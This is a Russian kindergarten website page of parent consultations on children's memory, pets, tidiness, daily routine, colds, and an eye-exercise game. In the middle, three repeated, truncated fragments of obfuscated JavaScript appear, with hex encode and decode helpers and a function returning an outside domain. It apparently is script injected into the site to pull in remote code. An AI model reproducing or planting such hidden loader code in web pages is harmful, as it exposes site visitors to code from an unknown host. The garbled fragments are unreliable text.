Гимнастика для глаз на неделю
Увидела на сайте «Воспитательская копилка» замечательную гимнастику, автор придумавший её молодец! Сама решила применить на практике и опубликовать на сайте детского сада может кому и пригодится.
Рубрика: Для вас, родители!
ИРИНА ГАДЕЕВА Консультация для родителей «Для чего нужны зрительные диктанты»
Ваш ребенок хорошо знает и различает геометрические фигуры, на любой таблице найдет одинаковые геометрические фигуры по форме, по цвету, умеет располагать геометрические фигуры на карточках с двумя и тремя полосками. Хорошо считает геометрические фигуры слева направо запоминает сколько фигур на верхней полоске или на нижней, теперь его можно знакомить со зрительным диктантом начиная с простой таблицы в которой пять геометрических фигур.
Внимательно рассмотрев таблицу и запомнив как расположены геометрические фигуры, разместить свои фигуры на листе точно так же. Чтобы хорошо все запомнить, надо рассмотреть таблицу в определенном порядке и назвать как расположены геометрические фигуры начиная с той, которая посередине, затем вверху, внизу, слева, справа. Рассказать несколько раз и разложить фигуры так же на своем листе. Когда ребенок хорошо запоминает такие таблицы и располагает правильно геометрические фигуры на листе, можно усложнить таблицу, расположив четыре геометрические фигуры по углам. Научить называть эти углы: левый верхний или правый верхний;нижний левый или нижний правый. Что очень важно, так как дети часто путают справа и слева. закрепить это можно с помощью различных предметов, расположив их по углам стола.
Затем еще усложнить таблицу, расположив уже девять геометрических фигур, располагая каждый раз по разному геометрические фигуры разные по форме и цвету.
Таким образом у ребенка развивается память, внимание, что очень пригодиться вашему ребенку в школе.
Консультация для родителей: «Домашние животные в жизни малышей»
КОНСУЛЬТАЦИЯ
для родителей: «Домашние животные в жизни малышей»
С самого раннего возраста необходимо приучать детей к общению и ухаживанию за домашними животными вместе с родителями. Участвуя, в этом проекте дети и их родители должны научиться:
-
Формированию эмоционально-положительного отношения к домашним животным и их детёнышам;
-
Положительным эмоциям от совместной работы и полученного результата.
Интеллектуальное развитие:
— Животные являются источником первых знаний о природе. Ребенок видит животное — он к нему тянется, распознает названия, отмечает различия, познает его поведение.
— Животные являются источником развития сенсорики. Ни одна обучающая игрушка не может сравниться с природой. Ребенок непосредственно через органы чувств воспринимает объект: форму, величину, цвет, запах, пространственное расположение, движения, мягкость, фактуру шерсти и т.д.
— Животные являются источником развития логического мышления. На основе представлений о животных, дети учатся видеть связи и зависимости: киса мяукает у миски — голодная.
— Животные источник для различных видов деятельности – наблюдение, игра, труд, творчество и т.д. В результате формируется любознательность, наблюдательность, развивается фантазия.
Животные – источник нравственного воспитания:
— Источник первых переживаний и радости. Ребенок испытывает положительные эмоции в общении с животным. В современном обществе как раз больше всего не хватает положительных переживаний.
— В процессе общения у ребенка развиваются чувства прекрасного. Они учатся видеть естественную красоту.
— В процессе деятельности ребенок учится проявлять бережное (пассивное) и заботливое (активное) отношение к животному миру в целом. Таким образом у ребенка формируется основы экологической культуры, которая является составной частью духовной культуры.
Животные – источник эстетического воспитания и развития:
Натуральная и естественная красота побуждает детей к творчеству. Дети любят, стремятся отражать свои переживания с животным в детских стихах, рассказах собственного сочинения и конечно же в изо-деятельности.
Источник трудового воспитания:
В процессе наблюдения, ребенок знакомится с несложными трудовыми операциями. Под руководством взрослых у него формируются элементарные навыки по уходу за животными. Приобретаются дополнительные сведенья об условиях жизни в природе и в домашних условиях.
Источник физического развития:
Животные — источник укрепления здоровья, психического развития: в процессе прогулок с собакой, хорьком, кроликом и т.д, в процессе труда дети также совершенствуются физически.
Воспитатель 8 группы Е.В. Шумкова
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Консультация для родителей
Консультация для родителей
«Как научить ребёнка убирать игрушки на свои места?»
Каждый ребёнок развивается в своём ритме и не появляется на свет с таким навыком, как аккуратность, но этому вполне можно научить и привить в процессе воспитания, следует лишь быть решительно настроенным и последовательным в своих намерениях. Дайте ему время, поверьте в него и он обязательно со всем справится самостоятельно. Одним из составляющих понятия аккуратность, является умение следить за порядком. Примерно в возрасте пяти лет ребёнок уже в состоянии сознательно и с пониманием отнестись к такому понятию, как «порядок». Вот несколько рекомендаций, которые помогут Вам в решении данной проблемы.
Консультация для родителей
Консультация для родителей: «Развиваем мышление и воображение ребенка».
Каждому родителю хочется, чтобы его ребёнок был здоров, развит духовно и физически. Одним из важных аспектов воспитания детей является развитие мышления и воображения. У всех детей изначально есть тенденция к проявлению творческих наклонностей и воображению просто потому, что по своей природе они любопытны. Но в процессе роста наши дети сталкиваются с внешней средой, которая ограничивает и подавляет их природные таланты и навыки.
Тематическая неделя «В гостях у сказки»
В средней группе «Теремок», прошла «Неделя сказки», которая была направлена на то, чтобы вызывать у детей положительные эмоции, развивать фантазию, воображение, творческие и актерские способности детей, желание участвовать в небольших сценках, воспитывать интерес к сказкам и желание быть похожим на положительных сказочных героев.
Новое в группе
Маленькие дети очень любят приносить в детский сад много разных вещей, предметов, игрушек, которые могут быть опасными для них (семечки, спички, скрепки, жевательные резинки, пуговицы, монеты и т.д.).
В группе №7 появился стенд-грибок, информирующий родителей о том, какие предметы детям нельзя приносить в детский сад.
Воспитатель:
В.А.Мелехина
Режим дня
Консультация «Режим дня — зачем он нужен»
«Режим дня — зачем он нужен? »
Продуманная организация питания, сна, содержательной деятельности каждого ребенка обеспечивает его хорошее самочувствие и активность, предупреждает утомляемость и перевозбуждение.
Мы знаем, что режим дня — это хорошо продуманный распорядок дня, соответствующий возрасту детей. Соблюдение режима дня, проведение всех составляющих его элементов всегда в одно и то же время способствует выработке полезных привычек, прочных условных связей, облегчающих переход от одной деятельности к другой. Организм ребенка как бы подготавливается к тому виду деятельности, который ему предстоит выполнить в определенное время.
Консультация
Консультация для родителей
О профилактике гриппа, ОРЗ, ОРВИ и простуды у
детей
Для родителей нет хуже испытания, чем детские болезни, поэтому в
большинстве семей здоровье детей всегда стоит на первом месте. Но
одних волнений и переживаний недостаточно, чтобы уберечь ребенка от
болезней.
Простуда — незваный гость, который ежегодно приходит к детям и
взрослым. Но детский иммунитет хуже справляется с этим испытанием,
и в результате простуды «липнут» к малышу слишком часто. Ребенок
может простужаться и заболевать несколько раз в месяц. Вовремя
проведенная профилактика простудных заболеваний у детей убережет
от болезней и одновременно не позволит простуде пр��вратиться в
хроническое заболевание, с которым придется бороться всю жизнь.
Комплекс гимнастики «Соколиный глаз».
В последнее время сильно возросла нагрузка на зрение детей. Для профилактики снижения остроты зрения необходимо проводить гимнастику для глаз. Чтобы ребёнок выполнял гимнастику с желанием нужно использовать игровую форму.
Жил был индеец Соколиный глаз. У него было отличное зрение, поэтому он был лучшим охотником в своём племени. Зрение было хорошим потому, что он выполнял специальные упражнения для глаз.
1. Глаза отдыхают. Соколиный глаз накрывает глаза ладошками, закрывает их. Он слушает шепот ветра, шум воды,крик птиц.
Держать ладони в течение 30 с
2. Соколиный глаз смотрит на небо вверх, он определяет погоду. Смотрит на землю.
повторить 4-5 раз
3. Соколиный глаз смотрит на ближнее дерево, на далекое озеро.
повторить 4-5 раз
4. Соколиный глаз поворачивается вправо, натягивает лук. Смотрит влево.
повторить 4-5 раз
5. Соколиный глаз не дает пыли и ветру попадать в глаза, он быстро моргает.
Моргание глазами – 3 х 10
Упражнения выполняются сидя или стоя, при ритмичном дыхании, с максимальной амплитудой движения глаз.
Воспитатель Лишавская Л.И.